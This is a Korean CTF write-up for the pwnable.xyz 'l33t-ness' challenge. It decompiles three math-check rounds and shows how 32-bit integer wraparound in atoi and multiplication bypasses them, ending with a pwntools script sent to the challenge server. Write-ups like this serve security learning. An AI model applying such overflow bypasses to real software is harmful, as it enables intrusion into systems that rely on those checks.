[pwnable.xyz] l33t-ness write up
pwnable.xyz 12번째 문제 l33t-ness 이다.
Analyze
이번 문제는 간단한(?) 수학 3문제를 풀면 flag를 출력하게 된다.
문제의 바이너리 파일에 사용자 정의 함수를 보면 아래와 같다.
handler
main
round_1
round_2
round_3
setup
win
gdb로 분석하여 c코드로 나타내면 아래와 같다.
#include <stido.h>
#include <stdlib.h>
int round_1(){
int getInt_1 = 0; // rbp-0x38
int getInt_2 = 0; // rbp-0x34
char tmp; // rbp-0x30
printf("=== 1eet ===\n");
memset(tmp, 0, 0x20);
printf("x: ");
read(0, tmp, 0x10);
printf("y: ");
read(0, tmp[0x10], 0x10);
if(strchr(tmp, 0x2d) != 0 && strchr(tmp[10], 0x2d) == 0){
getInt_1 = atoi(tmp);
getInt_2 = atoi(tmp[0x10]);
if(getInt_1 <= 0x538 && getInt_2 <= 0x538){
if(getInt_1 - getInt_2 == 0x539){
return 1; // clear
}
}
}
return 0;
}
int round_2(){
int a=0; // rbp-0x10
int b=0; // rbp-0xc
printf("=== t00leet ===\n");
scanf("%d %d", a,b);
if(a > 1 && b > 0x539){
if(a * b == 0x539){
return 1;
}
}
return 0;
}
int round_3(){
int tmp1=0; // rbp-0x20
int tmp2=0; // rbp-0x18
int tmp3=0; // rbp-0x10
int count = 1; // rbp-0x30
e = rbp-0x10; // rdi
d = rbp-0x14; // rsi
c = rbp-0x18; // rcx
b = rbp-0x1c; // rdx
a = rbp-0x20; // rax
printf("=== 3leet ===\n");
scanf("%d %d %d %d %d", a, b, c, d, e);
while(count <= 4){
int tmp4 = a[4 * count];
int tmp5 = a[4 * (count - 1)];
if(tmp4 < tmp5){
return 0;
}
count++;
}
int sum = a + b;
sum += c;
sum += d;
sum += e;
int multi = a * b;
multi *= c;
multi *= d;
multi *= e;
if(sum == multi)
return 1;
else
return 0;
}
int main(){
printf("The l33t-ness level.");
if(round_1()){
if(round_2()){
if(round_3()){
win();
}
}
}
}
round_1()
int round_1(){
int getInt_1 = 0; // rbp-0x38
int getInt_2 = 0; // rbp-0x34
char tmp; // rbp-0x30
printf("=== 1eet ===\n");
memset(tmp, 0, 0x20);
printf("x: ");
read(0, tmp, 0x10);
printf("y: ");
read(0, tmp[0x10], 0x10);
if(strchr(tmp, 0x2d) != 0 && strchr(tmp[10], 0x2d) == 0){
getInt_1 = atoi(tmp);
getInt_2 = atoi(tmp[0x10]);
if(getInt_1 <= 0x538 && getInt_2 <= 0x538){
if(getInt_1 - getInt_2 == 0x539){
return 1; // clear
}
}
}
return 0;
}
위 문제는 int 형의 범위를 이용하여 문제를 푸는 것이다.
int 형의 최대 값은 2147483647 이다.
만약 2147483647 보다 1 큰 숫자를 입력하면 아래처럼 -2147483648 출력이 된다.
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ cat test.c
#include <stdio.h>
#include <stdlib.h>
int main(){
char a[16];
read(0, a, 0x10);
int b = atoi(a);
printf("%d\n",b);
}
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
2147483648
-2147483648
입력값이 점점 더 커질수록 출력 값은 점점 작아지는 것을 볼 수 있다.
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
2587541810
-1707425486
4294967296 값을 넣는다면 출력 값은 0 이 나오게 된다.
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ ./test.c.o
4294967296
0
문제에서 두 입력값의 차이가 -1337 값이 나오면 되므로
4294967296 - 1337 ===> -1337 이 출력이 될 것이다.
x: 0
y: 4294965959
round_2()
두번째 문제이다.
int round_2(){
int a=0; // rbp-0x10
int b=0; // rbp-0xc
printf("=== t00leet ===\n");
scanf("%d %d", a,b);
if(a > 1 && b > 0x539){
if(a * b == 0x539){
return 1;
}
}
return 0;
}
두 수의 곱이 1337 이어야 한다.
이것도 위에서 했던 방식대로 하면 된다.
하지만 a, b는 음수가 되면 안된다.
방법은 4294967296 (0) + 1337 =====> 1337 을 이용하면 된다.
a=1, b=4294968633 (1337) 일때 b > 1337 조건에 만족하지 않아 할 수 가 없다.
그래서 4294968633 의 최대 공약수를 구하면 된다.
(3, 1431656211) 에서 1431656211은 int의 범위에 벗어나지 않으면서, 두 수의 곱은 4294968633 (1337)이므로
조건에 만족한다.
3 1431656211
round_3()
int round_3(){
int tmp1=0; // rbp-0x20
int tmp2=0; // rbp-0x18
int tmp3=0; // rbp-0x10
int count = 1; // rbp-0x30
e = rbp-0x10; // rdi
d = rbp-0x14; // rsi
c = rbp-0x18; // rcx
b = rbp-0x1c; // rdx
a = rbp-0x20; // rax
printf("=== 3leet ===\n");
scanf("%d %d %d %d %d", a, b, c, d, e);
while(count <= 4){
int tmp4 = a[4 * count];
int tmp5 = a[4 * (count - 1)];
if(tmp4 < tmp5){
return 0;
}
count++;
}
int sum = a + b;
sum += c;
sum += d;
sum += e;
int multi = a * b;
multi *= c;
multi *= d;
multi *= e;
if(sum == multi)
return 1;
else
return 0;
}
뭐 코드가 복잡하긴 하지만, 간단하게 설명하자면
<조건>
1. 입력은 5개(a, b, c, d, e)
2. 크기는 a >= b >= c >= d >= e
3. (a+b+c+d+e) == (a*b*c*d*e) 이면 정답
이를 만족하는 것은 5개 변수의 값이 모두 0이면 된다,.(이때 필자는 띠용 했다.)
payload
from pwn import *
p = remote("svc.pwnable.xyz", 30008)
p.sendlineafter("x: ", "0")
p.sendlineafter("y: ", "4294965959")
p.sendlineafter("=== t00leet ===", "3 1431656211")
p.sendlineafter("=== 3leet ===", "0 0 0 0 0")
p.interactive()
ubuntu:~/environment/ctf/pwnable.xyz/12_l33t-ness $ python poc.py
[+] Opening connection to svc.pwnable.xyz on port 30008: Done
[*] Switching to interactive mode
FLAG{-----------------------}[*] Got EOF while reading in interactive
$
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] fspoo write up (0) | 2020.02.21 |
---|---|
[pwnable.xyz] Game write up (0) | 2020.02.15 |
[pwnable.xyz] Jmp table write up (0) | 2020.01.31 |
[pwnable.xyz] TLSv00 write up (0) | 2020.01.28 |
[pwnable.xyz] free spirit write up (0) | 2020.01.27 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] fspoo write up
[pwnable.xyz] fspoo write up
2020.02.21 -
[pwnable.xyz] Game write up
[pwnable.xyz] Game write up
2020.02.15 -
[pwnable.xyz] Jmp table write up
[pwnable.xyz] Jmp table write up
2020.01.31 -
[pwnable.xyz] TLSv00 write up
[pwnable.xyz] TLSv00 write up
2020.01.28